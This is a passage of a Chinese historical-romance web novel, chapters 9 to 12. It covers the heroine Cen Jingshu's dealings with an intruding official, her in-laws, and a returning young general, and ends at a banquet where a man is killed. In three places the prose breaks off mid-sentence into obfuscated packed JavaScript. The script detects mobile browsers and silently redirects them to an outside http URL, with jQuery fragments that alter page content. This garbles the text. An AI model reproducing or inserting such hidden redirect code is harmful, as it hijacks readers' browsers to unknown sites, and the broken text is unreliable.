另一只手则是将她的发丝挽在指尖,不断缠绕把玩,时不时被扯动的头皮传来酥麻的痒意,以及轻微的痛感。 极淡的沉香味萦绕在鼻尖,不同于普通的沉香,其中还掺杂了少量的特制香,与沉香完美融合,不靠近根本察觉不到。 这香味,她前不久才闻过。 是谢无咎。 她心下烦躁,眉头也不自觉蹙起,还没来得及找这人算账,他居然还敢堂而皇之地趁她昏迷偷偷溜进来。 这里是崔府后院,又不是谢家后花园。 这疯子究竟想干什么?! 按压在她唇瓣上的手终于离开了,转而将她的眉心抚平,一声沙哑的轻笑响起,那手指点了点她的额头。 “别皱眉,我来送药,不做别的。” 说罢,她便感觉到谢无咎的胳膊伸向她的枕下,而后快速抽离,枕下多了一个硬邦邦的小瓶子。 身侧床榻一陷,她的腰被大手轻松揽过,额头撞上他高挺的鼻梁,随即沉香气息染了她满身。 一个冰凉的吻落下。 岑景舒呼吸一滞,猛然睁开了双眼。 满室寂静,四目相对。 9. 第九章 岑景舒面色冷然,抽下发间唯一的素簪攥在手中,长期未开口的喉咙有些干涩,声音沙哑无比道:“大人,这里是崔府,并不是你可以为所欲为的地方。” “我的丫鬟守在外面,府上到处都是巡逻的小厮,只要我现在喊一声,大人日后的生活怕不会像现在这样风生水起了。” “今夜之事,我不会同你计较,还请大人立刻离开。” 谢无咎低笑几声,浑不在意地看了眼她手中紧握的簪子,揽住她腰的手加大了力道,漫不经心回道:“景舒。” “威胁人不是这么威胁的。” “不过既然你醒了,时辰也不早了,我便先走了,下次再见。” 他松开她的腰,利落地翻身下榻,从窗户一跃而下,隐入夜色之中,动作行云流水,没有发出丁点响声。 当真是来无影去无踪。 岑景舒将簪子插回发间,冲着外间扬声道:“让夏意过来。” “少夫人您醒了!奴婢这就去唤夏意姐姐!”在外值夜的小丫鬟说完便“噔噔噔”小跑着出去了。 不多时,夏意携着轻微的凉意来到了内室,待最后一丝风霜被炉火驱散后,才敢上前,将烛火点燃,端起早已备好的热茶,轻声道:“主子,感觉如何?” 岑景舒单手撑着榻加上夏意的搀扶,艰难坐起来靠在软枕上,接过热茶抿了几口润了润喉咙,道:“尚可。” “我昏迷了几日?事情最后怎么处理的?可查出旁的线索?” 夏意将茶杯搁置在一旁,答道:“回主子,五日。真凶落网,念在其未酿成大错,大夫人将人驱逐出府。并未查出别的。” “罢了,姑且算她运气好,若有下次,可就没这么简单了。” “将那人和他的家人妥帖安置好。” 她不过说了几句话,胸口便已开始有些发闷,胃中隐隐作痛,冷汗不断。 无奈之下,她缩回被褥之内,神色恹恹道:“我身子何时变得这么差了?” 夏意又往火炉里添了几块碳,道:“主子的胃疾太过严重,拖垮了身体,需精心调养才是。” “奴婢在外候着,主子安心歇息吧。” 岑景舒点了点头,虚弱的身体导致眼皮逐渐沉重,又再次陷入了深睡之中。 次日一早。 岑景舒揉了揉有些发懵的脑袋,片刻后整个人才彻底清醒过来,眼底一片清明。 春喜听到动静后赶忙走了进来,忙前忙后确认完自家主子是真的安然无恙后,再也忍不住,扑到她怀里痛哭起来。 “主子,您...不知道,您倒下去的时候,脸色好差,奴婢...快要吓死了,呜呜。” 怀中的小人不断哽咽控诉着,将她的寝衣领口处染湿了一大片。 岑景舒捧起春喜的脸,轻轻擦去她脸上的泪,对着她肿成核桃的眼吹了吹,柔声安慰道:“好了春喜,我这不是好端端的吗,不要哭了,乖。” “主子……” 她耐心地哄了一番小丫头,道:“你下去休息吧,夏意昨夜值夜,你唤个别的丫头过来侍奉,如今我醒了,合该去见一下母亲,让母亲安心。” 春喜退下后,院里的一个丫鬟行了一礼,随后便低着头跟在她身后侍奉。 行至大夫人的院子时,被告知大夫人尚在礼佛,但算着时辰应当快要结束了,请她到偏房稍等片刻。 岑景舒点头,正想随着那丫鬟去偏房之时,转身却看到了步履沉稳,双眸平静的大夫人正在走来。 欲为她引路的丫鬟行过礼后退至一侧,垂下头充当木桩子。 眼瞧着这廊道长,但其实真正走过也只是几步远,大夫人扶住她的胳膊,道:“不必多礼,书琴为少夫人赐座奉茶。” 书琴领命,给一旁木桩丫鬟使了个眼色,那丫鬟立刻会意,下去备茶了。 “你胃疾已然很严重了,此前缘何不肯令大夫诊治?你此番突然昏倒,我甚是担忧,着人去请了江南一带有名的神医来,不日便可抵达洛京。” 大夫人神色依旧淡然,但语气比往常更为缓和一些,有着对晚辈的关怀。 她暗自观察着,愈发感觉大夫人对她的态度不太对劲,这江南神医她也听说过,给人看病全靠缘分神情古怪,似乎也有背景,可谓是重金难求,拜年难遇。 大夫人这便轻飘飘替她请来了神医? 尤其是她母亲还是靠着不太光彩的手段让她嫁进了崔府,按理来说,大夫人连同崔府上下应当对她厌恶至极才是。 但目前看来,只有最开始同她成亲的崔怀松有过强烈的反感,其余人则是,长辈关怀爱戴,同辈谦逊有礼,下人俯首帖耳。 就连崔怀松如今因着霜月一事,都不再厌恶她,同她表面恩爱,实则泾渭分明。 这也太奇怪了。 但是她不会多问,权当不知。 “江湖游医一般都对金钱权势满不在乎,想来母亲能为尽溪请到神医也是费了很大功夫,尽溪在此谢过母亲。” “尽溪定全力配合神医治疗,不负母亲一片心意。” 说罢,岑景舒规规矩矩行了个大礼。 虽说她还是不太想喝药,但大夫人为她做到这种地步,再拂了大夫人的面子,那便是她不知好歹了。 大夫人亲自将她扶起,拉着她坐下,将她的手捂在掌心,道:“原想着这些天便把库房钥匙交于你,这下看来还要再缓上几日了。” “待你身子调理好了,我也能放心将库房钥匙给你了。” 岑景舒感受着大夫人手掌源源不断传来热意,手指蜷缩一瞬,最终心底的疑惑还是没有问出,只乖顺应道:“是,母亲。” 提及此事,她便想到了尚未定下亲事的崔二公子,聊家常似的开口问道:“二公子年少英才,未来必定大有作为,人也英俊飒气,怎么还未议亲?” 闻言,大夫人平静无波的眼底激起阵阵涟漪,面色少见流露出几分忧愁,道:“鹤儿他什么都好,只是每每我想要为鹤儿相看,都被鹤儿推脱了。” “此事强求不来,常言道长嫂如母,等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445730|185096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到将来还要尽溪多加留意着。” 岑景舒轻声应下,又同大夫人聊了些府上的家长里短,半个时辰后才从大夫人院中出来。 她正在思索大夫人究竟为何会对她这么好时,淡雅的竹香在空气中浮动,紧接着她便看到了那串熟悉的青玉珠串。 “怀鹤。” “见过长嫂。” 岑景舒心中装着事情,不欲与崔怀鹤过多交谈,他似乎也急着去做什么事,因此只是简单寒暄了两句。 擦肩而过之时,崔怀鹤突然出声叫住了她。 “长嫂留步。” 岑景舒依言停下脚步,紧接着后撤两步站定,微笑看着他,询问道:“怀鹤,怎么了?” 他不答,只定定看着她,那双洞悉一切的眼睛似乎要把她看穿。 “怀鹤?怎么了?”岑景舒看在他长得足够养眼的份上,再次耐心询问。 “长嫂身上的沉香,味道很特别。” 崔怀鹤说完便走了,没再等她回答。 沉香? 岑景舒攥紧手指,崔怀鹤与谢无咎同在朝为官,肯定少不了彼此打交道,甚至可能关系还算不错,以崔怀鹤的细心程度,定然知晓谢无咎身上沉香的独特之处。 可谢无咎昨夜不过停留半个时辰,她屋里也是燃了熏香的,方才又去了大夫人院里,大夫人院里佛香缥缈,为何崔怀鹤还能嗅到她身上的沉香气息? 这人,属狗的么? 但无论如何,崔怀鹤没有直接挑明,那便是无意将此事告知旁人,并且他先前还说过可以去云竹院寻求他帮助,不过她并不打算去找他。 虽然大夫人膝下只有两个嫡子,但长公子和二公子从小就不对付,两个人的性格南辕北辙,长大后更是少有往来,别家的表亲兄弟都比他二人亲近。 这二公子看着是平易近人,温文尔雅的君子,实则有着很强的分寸感和疏离感,他平等的温和对待每一个人,却同样把所有人拒之千里之外,任何人都是他的朋友,任何人也都不是他的朋友。 在前朝他同各党系撇的一干二净的同时,做到了不得罪任何一方,独树一帜却能在朝堂上立于不败之地,深得皇上的爱戴和重用。 这样的人,她可不敢贸然将这么大的事情托付给他。 她更习惯靠自己。 岑景舒回到踏雪阁内便直奔书房,春喜见状赶忙跟上,拿出砚台开始研磨,乌黑的墨汁很快浮现。 “主子,这是什么?” “图纸?” 岑景舒点头,将墨晾干,把图纸折好,快速道:“这是一个机关,小巧但精妙,最适合用来防贼。” “你去拿给夏意,辛苦她今晚之前把机关安置在我的各个窗边,过后我让她休息两天,一准不打扰她。” 春喜也知事情的严重性,敛了笑意接过图纸就去找夏意了。 同时春喜心里也有些疑虑,防贼? 崔府固若金汤,哪个不长眼吃了雄心豹子胆的小毛贼,敢来后宅少夫人的房间偷东西不成? 10. 第十章 明月高悬,繁星满天,枝桠的倒影自窗外延伸到窗内,影影绰绰。 府上小厮巡逻比往常又多添了几队,各个角落都被严防死守,尤其是她这踏雪阁,应该一只虫子也飞不进来。 窗户上还有夏意赶工制出来的陷阱。 岑景舒简单梳洗一番后,便躺下歇息了。 她心中没有繁杂琐事之时入睡很快,不到半刻钟的时间已然沉沉睡去。 一夜安眠。 春喜听到动静赶忙进来伺候,一边替她梳妆一边低声道:“奴婢方才听那些小厮说王将军约莫还有两个时辰就能到洛京了。” 岑景舒闭着眼,任由春喜为她上妆,闻言在脑海中回想了下先前王小将军寄来的信,而后应道:“算算时日,他确实是今日归京。” “春喜,稍后随我出府。” 春喜手一顿,很快又恢复如常,眨了眨眼道:“主子,我们是要去……?” “嗯。” 能容下三辆马车并驾齐驱的不夜街上此刻挤满了人,只堪堪留下仅容一辆马车勉强行驶而过的空间。 平常人家不似大户人家那般,上了些年纪的人已不太在乎什么男女大防了,因此很多面目慈祥的老妇肩上坐着胖乎乎的小孩子,臂弯上挎着竹篮,里头装了些瓜果和铜钱。 也有大胆不拘一格的女子精心装扮,怀中鼓鼓囊囊塞了不知什么东西,翘首以盼地望着街尾,期待着王小将军凯旋归来。 男人们脸上是压抑不住的激动与兴奋,眼中的火热崇拜如有实质,堪比烈阳。 人群熙熙攘攘,都在恭候那个大盛百年难得一遇的将门奇才,王家最小的公子王延随。 岑景舒身着素衣,带着面纱混在人群中,同样也直勾勾望向街尾。 不知那小傻子如今还怕不怕水? 她眼中染上笑意,仿佛又回到了幼时那短暂的无忧无虑的日子。 那时她才四岁,母亲对她的要求还不是特别严格,每日还有两个时辰的休息时间,至于具体是哪两个时辰,可由她决定。 春寒料峭,凉风习习。 小景舒撒丫子甩掉了一干婢女,独自来到了护城河边。 她很喜欢这里,因为这里栽种了一片桃花树,现下正值桃花盛开之际,远看好似一片花海,当真是人间仙境。 正当她沉浸在美景之中时,断断续续且有些空灵的声音自护城河内传来,把她幼小的心灵吓了一跳,惊出一身冷汗。 岑家对鬼神之说深信不疑,她虽是不信,但耳濡目染下,她对此也有些敬畏,脑海中短暂斗争了一番,最终是感性占了上风。 护城河地处偏僻,除了巡逻卫队,一般无人来此,没有旁的嘈杂声音干扰,她很快便找到了声音来源。 竟然是一个落水的男童! 不过好在那男童似乎通几分水性,并未沉入水中,而是一颗头漂浮在水面之上,依靠求生的本能艰难呼救。 “喂,抓住!” 小景舒将自己用来装饰缠绕了好几圈的腰绳取下,用力朝那男童丢去。 面色如纸的小男孩儿听到声音眼睛一亮,颤颤巍巍抓住飘在水面之上的红绳,而后被一点一点拉回岸边。 两个小人瘫软在地,气喘吁吁好了一阵子,半刻钟后,小男孩儿率先站了起来,拍了拍身上的泥土,脆生生道:“谢谢你,你叫什么名字?” 小景舒缓了片刻,才站起身应道:“问别人名字之前先说出自己的名讳,这才叫礼貌,更何况我还是你的救命恩人。” 小男孩儿挠了挠头,道:“我叫王延随。” “岑尽溪。” “你是太傅大人的孙女!” “是啊,我祖父很厉害呢!” “不过,你为什么会掉进水里啊?你没有带小厮出门吗?” 小男孩儿苍白的脸上泛起淡淡红晕,目光躲闪,有些尴尬道:“此事说来话长……” “那便不要说了。” “啊?” 看着不知所措的小男孩儿,小景舒叉着腰笑得眼泛泪花,末了拍了拍他的头,说:“我是逗你的,说吧!” “哦哦哦...好。” “哇!快看快看!是王小将军来了!” 人群一阵骚动,惊叫声把岑景舒的思绪从十几年前的夜晚拉回,同样带了面纱的春喜拽了拽她的袖子,道:“主子,小将军。” “嗯。” 红棕色的烈马上的人将发高高束起,额前的碎发凌乱到处飞着,银色铁甲在日光的照射下散发出耀眼的光芒,手上虽未拿任何武器,但周身散发着的气场却好似一柄长枪,势如破竹可抵千军万马。 铜钱、蔬菜、瓜果一股脑丢向小将军身后随行的车队,而各式各样的鲜花和不重样的手帕,则是直直朝着万众瞩目的小将军本人丢去。 红衣银甲的小将军目不斜视,那么多的花和帕子,愣是没一个能在他身上停留片刻,可即便如此,女子的尖叫欢呼声依旧此起彼伏。 蓦然,小将军一个看似不经意间的回头,同人群中默默注视着他的女子精准对上了视线。 那是他朝思暮想的一双眼睛。 岑景舒挑了挑眉,有些惊讶于他的敏锐,抬起胳膊轻轻挥了挥手,在一众狂热不能自已的人中,并不乍眼,也不会引起任何人怀疑。 因为她这个方向的女子,尖叫声已然能掀翻一座宫殿的房顶。 她们都以为,小将军看的是自己,因此拼命冲小将军招手呐喊。 见到小傻子一切安好,没有明显外伤后,岑景舒便带着春喜从人群中悄然离去,来到了护城河附近的一处酒楼内。 小二见到她们便热情地迎上来,弯腰笑着道:“二位客官,您里面请!” 春喜随手给了小二一锭银子,道:“上些好酒好菜,再开间上房,我家小姐要休息。” “好嘞好嘞,小的先带二位客官去上房内歇息片刻,酒菜马上便可做好,您二位跟小的来!” 这酒楼的生意说好不好,说差不差,因着在洛京边际,偶尔也会有些贵人因为赶路歇脚而光临,其余时候大多还是一些平民百姓逢年过节来吃上一顿。 酒菜上齐后,还额外送了一些糕点。 岑景舒没什么胃口,但在春喜喋喋不休的劝说下,还是勉强吃了一些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445731|185096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,垫了垫肚子,不至于再突然胃疾复发晕倒。 两刻钟后,春喜擦了擦嘴角,一脸满足道:“主子,奴婢吃好了!” 岑景舒看着所剩无几的食物,发自内心询问道:“春喜,是崔府的饭菜不合胃口吗?怎么跟没吃过饭一样。” “还好啦!”春喜吐了吐舌头,接着道:“崔府的饭菜挺合胃口的,不过这里的饭菜格外好吃,奴婢没忍住就多吃了点。” “别干坐着,在屋内走走,以免食物堆积,再闹肚子。” “遵命!” 岑景舒抿了口茶,单手撑着头便翻阅起书卷,不过这次不是禁书,而是一本兵书。 直至日暮西垂,岑景舒合上书卷,推醒了睡得正香甜的春喜,道:“走吧,人快该来了。” 春喜一个骨碌便利落下了榻,神清气爽地应道:“是!主子。” 昏黄的日光映着枯败的枝桠,厚厚的积雪尚未消融,踩上去吱嘎吱嘎作响,春喜揣着手,睫毛上挂满了白霜。 “春喜,你回吧。” “主子,哈...这怎么行呢?哈...”春喜冻得鼻尖通红,说几个字便要哈一下,缓解着凛冬带来的寒意。 岑景舒哼笑出声,身上的衣裳比春喜穿的少了很多,却一点也不见冷。 “无碍,你知我要见的是谁,我不会有任何危险,太冷了你受不住,回吧。” “哈...谢主子,奴婢哈...告退。” 春喜走后没多久,她要等的人便来了。 “居然让姑娘在这么冷的天等你许久,还是这么没有礼貌啊,王、小、将、军。” 可被她逗弄的人已不再是当年那个落水的孩童,而是久经沙场的男人。 预想之中的反驳没有出现,她被一个大力拥抱紧紧搂住。 岑景舒呆愣了几秒,轻笑一声,伸出手拍了拍他的背,低声哄道:“怎么了这是?皇帝老儿给你难堪了不成?不必理他,自古以来哪个皇帝不多疑?” “更何况我们小将军天纵奇才,皇帝老儿忌惮你是正常的。” 此番王延随击退外邦入侵,又扫平了西北叛乱,战功赫赫,他又那么年轻,现下回京述职,肯定免不了皇帝的一番敲打。 她因着一些旧事对皇家之人没什么好感,打心底提不起敬畏之心,闺阁女子与皇家更是无甚交集,这里只有她和小傻子两个人,说起话来更是没个顾忌。 王延随小孩子心性,心中难受烦闷也是在所难免。 于是她继续温声开口,道:“不必在乎他怎么说你,不仅在我看来,而且在整个大盛百姓眼中,你都是最英勇的小将军。” “以后会成为更加厉害的大将军。” 岑景舒蹙眉,因为怀中的人颤抖的更加厉害了。 “到底怎么了?你同我说好不好?” 闻言,王延随松开她,眼眶内红的好似要泣血,浑身更是止不住颤抖。 他一拳砸到桃花树上,鲜红的血顺着树干蜿蜒而下,但他好似不觉痛一般,死死盯着眼前他梦牵魂绕的人。 良久,他嘶哑着嗓音艰难开口道:“姐姐,你为什么嫁人了?” 11. 第十一章 岑景舒哑然失笑,原来这小傻子这么反常是因为这个。 “父母之命媒妁之言,贵如崔家长公子尚且不得拒绝,我又有什么选择的余地呢?” 她说着将王延随的手拢在手心,用帕子仔细拭去他手背上的血污,轻声道:“小随,我也是被逼无奈。” “姐姐。” 王延随低垂着眼,目不转晴看着那纤细的手指在他的手上来回游荡,片刻后仿佛下定了某种决心,坚定道:“我带你走吧。” “我杀了他,陪我去边关吧。” “或者,天涯海角,我都愿意陪你一同前往。” 这个他指的是谁,不言而喻。 岑景舒将沾了污渍的帕子丢下,又拿出一方新帕子为他包扎好伤口,退后两步站定,认真地看着他,缓缓摇了摇头。 “小随,不要任性。” “你出身名门,前途坦荡,即便不为名利,为了你心中的理想抱负,也不能去这样做。” “小随,你生来就是属于战场的。” “不!姐姐,我是属于你的!”王延随压抑着情绪,声线颤抖:“我的命都是你救回来的!姐姐,你为什么不能等等我。” “我有军功,我原想向陛下请一道圣旨。” “姐姐……” 王延随颓然滑落到地上,无力地倚着桃花树,布满了细碎伤痕的双手捂住了脸,指缝间隐约能看到水光一闪而过。 她的心头一颤,这小傻子。 说不动容是假的,她略长他几个月,自四岁到现如今十几年的情谊,虽说后面母亲对她看管很严,但她依旧会想办法偷溜出去寻他。 后来他去了边境,书信从未间断,从不爱写字的他,每次寄来的信件都是厚厚一沓,思念化为浓墨,连带着那些无法宣之于口的情愫,全都附着在纸上变成了文字。 奈何,造化弄人。 仅一步之隔,他与她之间,已然隔了一道鸿沟。 “小随,你唤我姐姐,我也把你当做亲弟弟,照顾你是应该的。” “直到你成亲之前,我会一直照顾你。” 王延随将头埋进臂弯之中,肩膀时不时轻微抽动一下,良久无言。 岑景舒站在原地,嘴角噙着温和得体的笑,一直就这么陪着他,像极了邻家知心的温柔大姐姐。 他需要时间来接受这个事实,而她现在最不缺的就是时间。 崔府那边春喜已经打点妥当,任何人都不会去踏雪阁打扰她静养,她便料到今日归府不会太早,现下看来还真是,这小傻子一点也没变。 只是她再也不是幼时那个岑尽溪了。 不知过了多久,周围的黄昏逐渐被黑暗吞噬,弯月被乌云遮挡了彻底,瞧不见一点踪影,也没有一丝光亮。 王延随再次起身时所有情绪被压在心底,语气如常道:“姐姐,我送你。” “嗯,去有客来酒楼。” “好。” 她在前方不紧不慢走着,王延随便距她五步远在后面跟着,以往她夜深时偷跑出来玩,再回家之时便是如此。 一如既往。 为了方便客人歇脚,酒楼一到入夜便会点燃烛灯和烛笼,这样有需要的人,远远便能知晓这里有个酒楼,同样也方便已经在此住下但外出归来的客人。 “姐姐,到了。” 岑景舒回过头,借着朦胧的烛光看清楚了他的神情—— 他是笑着的。 “你也早些回去,我会出席你的庆功宴。” “好啊姐姐,我等你。” 她转身向酒楼内走去,没再回头,但是能感觉到身后那道不容忽视的目光一直追随着她。 “主子,您可算回来了!奴婢还在想要不要出去找您呢,可担心死奴婢了!” “要不是怕看见什么不该看的被小将军灭口,奴婢早就去找您了!” 岑景舒解下大氅和外衫,闻言屈起手指往春喜额头用力敲了一下,道:“再胡言乱语,我先把你给灭口了。” “小将军性情纯良,能叫你这鬼丫头瞧见什么不该看的?愈发胡闹了,快些歇息吧。” 翌日清晨。 岑景舒换了婢女服饰,挂着崔府丫鬟的牌子,低着头跟在春喜后面,顺利地回到了踏雪阁内。 她前脚刚换好衣衫,紧接着夏意便送来了两份请帖。 一份是王延随亲自提笔写的帖子。 也只有他才能写出这惊天地泣鬼神的……烂字。 当年王老爷子都把他的手抽肿了,也没见这混小子的字迹有任何长进,气得老爷子胡子都飞了。 府上教习字的老师也是不忍直视,对此十分头痛,直言虫子在纸上扭两下都比小公子的字漂亮些。 小公子将这个“优良习惯”保留到了现在。 岑景舒把两幅帖子搁在一起,没忍住轻笑出声。 “小将军的字还是这样有韵味。”春喜也凑了过来,只看了两眼后,捂着嘴笑道。 夏意瞥了一眼,随即点了点头。 岑景舒看春喜笑够了才把帖子收起,思虑片刻后,递给春喜道:“收起来吧。” “我虽与小将军有交情,但如今我已然成了婚,他的庆功宴上都是达官显贵,我和长公子若是拿出两份请帖,未免让人无端猜疑,多生事端。” 话落,屋外丫鬟便低声来报:“少夫人,长公子身边的霜一求见。” “让他进来。” 霜一跪在外间,道:“启禀少夫人,主子说三日后是王家小将军的庆功宴,让少夫人陪同出席,让小的来告知少夫人做好准备。” “我知晓了。” “是,小的告退。” 岑景舒原本还在想霜一是崔怀松身边哪个小厮,但放才那霜一刚开口,这熟悉的声音不就是他的贴身小厮兼伴读? 名字改成了霜一? 丫鬟和小厮接触会多一些,此时春喜也反应过来了,脸气鼓鼓的,骂道:“这长公子真是被迷了心智,连相伴了这么久的贴身小厮的名字都改了!” “改什么不好,改叫霜一,也不知这长公子是在作践谁呢!” 岑景舒瞥了她一眼,淡声喊道:“春喜。” “主子!”春喜瘪了瘪嘴,在主子的淫威之下投降,接着小声道:“好嘛,奴婢知错了,奴婢不说了。” 庆功宴正式开始虽然是在戌时一刻,但众人基本用过午膳之后,早早便来到了王府祝贺,热闹非凡。 崔府也不例外,岑景舒和崔怀松并肩而行,穿了同色系相近纹样的衣衫,贺礼已提前派人送至府上,于是便入场同众人寒暄一番。 其余人虽看不上崔怀松这样的纨绔子弟,但奈何他的身份摆在这里,还不得不低声下气地笑脸相迎。 谈笑间,更多的人陆续来到,纷纷落座至各自席位,同周围人谈论起事务来。 这席位安排也有着十分讲究,岑景舒大概扫了一眼,估摸着应当首先是按照官位品阶排的,然后才是家世。 在场并未有太多女眷,基本上都是像她这样陪同夫君出席的夫人、少夫人,因此也就没再单独设立女席,而是把席位安排在夫君旁边。 她随着崔怀松坐下,因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她看向在宴席间来回穿梭敬酒的王延随,暗自叹了口气,这一个个的都不让人省心。 他面色酡红,身形摇摆,俨然一副醉了酒的模样。 蓦然,王延随回过头,带着湿意的眼睛穿过人群向她望来,而后扬起了一个微笑,又迅速扭头继续同人交谈。 岑景舒弯了弯唇角,每当她望向王延随时,王延随总能第一时间察觉,并且准确找到她的位置回望过来。 方才被谢无咎激起的不悦一扫而空,她又吃了一些点心。 这些小动作被谢无咎尽收眼底,他的脸色依旧,眸光却阴沉下去,死死盯着埋头吃点心的人。 “谢中书,怎么了?” 谢无咎冷笑一声,偏头看向身侧君子如竹的崔怀鹤,咬牙应道:“无妨,只是看到了些碍眼的东西,有些厌恶罢了。” “王小将军大喜之日,谢中书莫气。”崔怀鹤提起酒杯,想要和谢无咎碰杯。 谢无咎闻言眸中阴沉之色更盛,但还是将酒满上,同崔怀鹤碰了杯,而后一饮而尽。 那边的暗流涌动没有影响到岑景舒,反倒是身边的崔怀松给她惹了点麻烦。 不知是谁先提起了她的母家,虽说她父亲的作风确实配不上太傅之位,但毕竟是崔府少夫人的母家,大家起先还留有余地。 但其中一人醉了酒,她认得脸却不清楚名字,好似其家中与她祖父有些旧怨,便开始在此大放厥词,声音不大不小,正巧被她听到。 “岑正文就是一块臭石头!” 12. 第十二章 岑正文,是她的祖父,已经故去数年。 岑景舒侧头望去,神色平静。 而那人丝毫没注意到周围人都噤声不敢再接话,依旧沉浸在自己的世界里,大着舌头不断说着老太傅的坏话。 “一块又臭又硬的石头!顽固死板!” “他不过就是仗着名声大、学生多,还做过当今陛下的老师而已,我叔父天资聪颖,文章更是一绝,他岑正文凭什么!” “凭什么不收我叔父!” “岑正文他没收我叔父这个学生,是他的损失!” 满座寂静,落针可闻。 众人面色不虞地看着这人,岑老太傅学识渊博桃李满天下,为人清正廉洁刚正不阿,在场之人年长一些的几乎都受到过老太傅的指点。 岑景舒直接从席位上起身,微笑着暗自蓄力,而后猛然甩了他一耳光。 “哗啦——” 她手劲极大,将那人的身子扇倒在桌案之上,盘子酒杯碎了一地发出巨大的响声。 “公子喝醉了,怎么都站不稳了?” 话落,周围人如梦初醒,该扶人的扶人,该收拾残局的收拾残局,那人的小厮苦着脸捂住自家公子的嘴,向她鞠了一躬后匆忙将人带走了。 崔怀松的酒被彻底惊醒,怕事情闹大,他赶忙挽过她的手臂,凑近低声道:“景舒,你有些冲动了,李二那厮一直这样,你不出头也会有人弄他的。” “那是我的祖父,是我此生最敬重的人。” 岑景舒说完便没再说什么,任凭崔怀松在她耳边念叨。 “哈哈哈哈,这位便是岑兄的孙女尽溪吧!”王老爷子捋着胡须,脸上满是赞赏和慈爱,接着笑道:“颇有岑兄风范啊!” 她站起身,对着首位的王老爷子行了个晚辈礼,从容不迫道:“李公子醉了酒,尽溪不过是帮李公子醒醒酒罢了,还望王老将军不要怪罪尽溪扰了大家兴致才是。” “哼,那混账东西说的什么胡话,尽溪下手还是轻了些,李大人该好好管教一下这不孝子了!”一个双鬓隐约可见少许白发的男人看着不远处呵斥出声。 此言一出,众人纷纷附和,一致看向左侧中间方向,你一言我一语地将李大人的脸面按在地上摩擦。 李大人额头豆大的汗珠不断落下,朝着众人不断鞠躬赔笑,不敢多说一个字。 辱骂当今陛下的老师,若传到陛下耳中,恐怕他整个李家将不复存在,此刻受些众人白眼和恶语根本不算什么。 “是是是,在下回去定然好好教育他。” “诸位息怒,诸位息怒。” 岑景舒用手指搓着掌心,缓解火辣辣的痛感,她不着痕迹瞥了一眼,发现整个掌心肉眼可见的红肿发涨。 她下意识朝谢无咎看去,却发现那里空无一人。 崔怀鹤也不见了踪影。 她在宴会上环视一圈,不仅没发现崔怀鹤和谢无咎的身影,就连王延随也不见了。 去了哪里? “想去哪啊?李公子。” 王延随一手拇指骨节轻推腰间剑柄,另一手将剑抽出,在最后一个字落下的瞬间,锋利的剑刃已架到了李二的脖子上。 他手腕微微发力,剑刃划破皮肤,鲜血冲破桎梏,争前恐后流出,素白色的衣衫霎时间洇红一片。 两个小厮吓得跪倒在地,李二浑身抖如筛糠,颤着声音道:“小...小将军,剑下留...留人。” 说罢膝盖一软,一下子瘫软倒地缩成一团,不敢抬头去看王延随。 “李公子方才不是很能耐吗?” 王延随抬脚往他身上踹去,道:“这会儿怎么不说话了?” “嗯?” 王延随又踹了几脚,还想再说什么,眼神一凛,随即一个璇身闪到了一旁。 破空之声传来,两支箭矢以破万钧的力道在空中穿刺,一支射中了瑟瑟发抖的李二,另一支则是射在了他方才站的位置上。 “手滑,抱歉了,小将军。” 王延随逆着光眯眼望去,不远处的谢无咎收起弓箭,脸上丝毫没有半分愧疚之意,站在谢无咎身旁的崔怀鹤笑得一脸虚伪,这两人看得他心中窝火。 狼狈为奸。 他方才在宴会上便瞧着谢无咎直勾勾盯着姐姐,崔怀鹤也是频频望向姐姐的方向,这两个人定然没安什么好心。 旁人看不出,可别想骗过他。 况且别看这两人整日相伴而行,谁知道心里在想什么,指不定在谋划什么时候往对方胸口上来一刀呢。 若说谢无咎是疯狗,看谁不爽就咬谁,那崔怀鹤就是笑面虎,趁对手放松警惕之际一击毙命。 “是吗?听闻谢中书箭术一绝,今日一见,也不过如此。”王延随将剑归鞘,看着已经行至眼前的谢无咎挑眉笑道。 谢无咎没反驳,视线停在那支射在地上的箭矢,意有所指道:“是差了些准头,不过我不会让猎物跑掉第二次。” “先把人处理好吧。”崔怀鹤把玩着青玉手串,垂眸看向凉透了的李二,温声提醒道。 谢无咎满不在乎道:“无用的人死了便死了。” “小将军,期待与你下次再会。” 说完他深深看了王延随一眼便走了。 王延随轻哼一声,而后瞟了一眼底下的尸体,皮笑肉不笑道:“二公子心善,最具君子之风,那这人就交由二公子善后了。” “小将军请便。”崔怀鹤温声应道。 岑景舒左等右等也没见三人回来,索性不再关注了,因着方才的事情,找她搭话的人也多了起来,俗话说伸手不打笑脸人,她都一一妥帖应付了过去。 身侧的崔怀松独自喝着酒,手中攥着一方梨白色的帕子,双目空洞,一看便知心思早已不在宴会之上,恨不得立马飞回崔府宠幸他的阿月。 她瞥了一眼便收回视线,有时她也有些好奇,这些纨绔子弟脑子里除了纵情享乐之外,便没有旁的东西了吗? 未免太过荒唐。 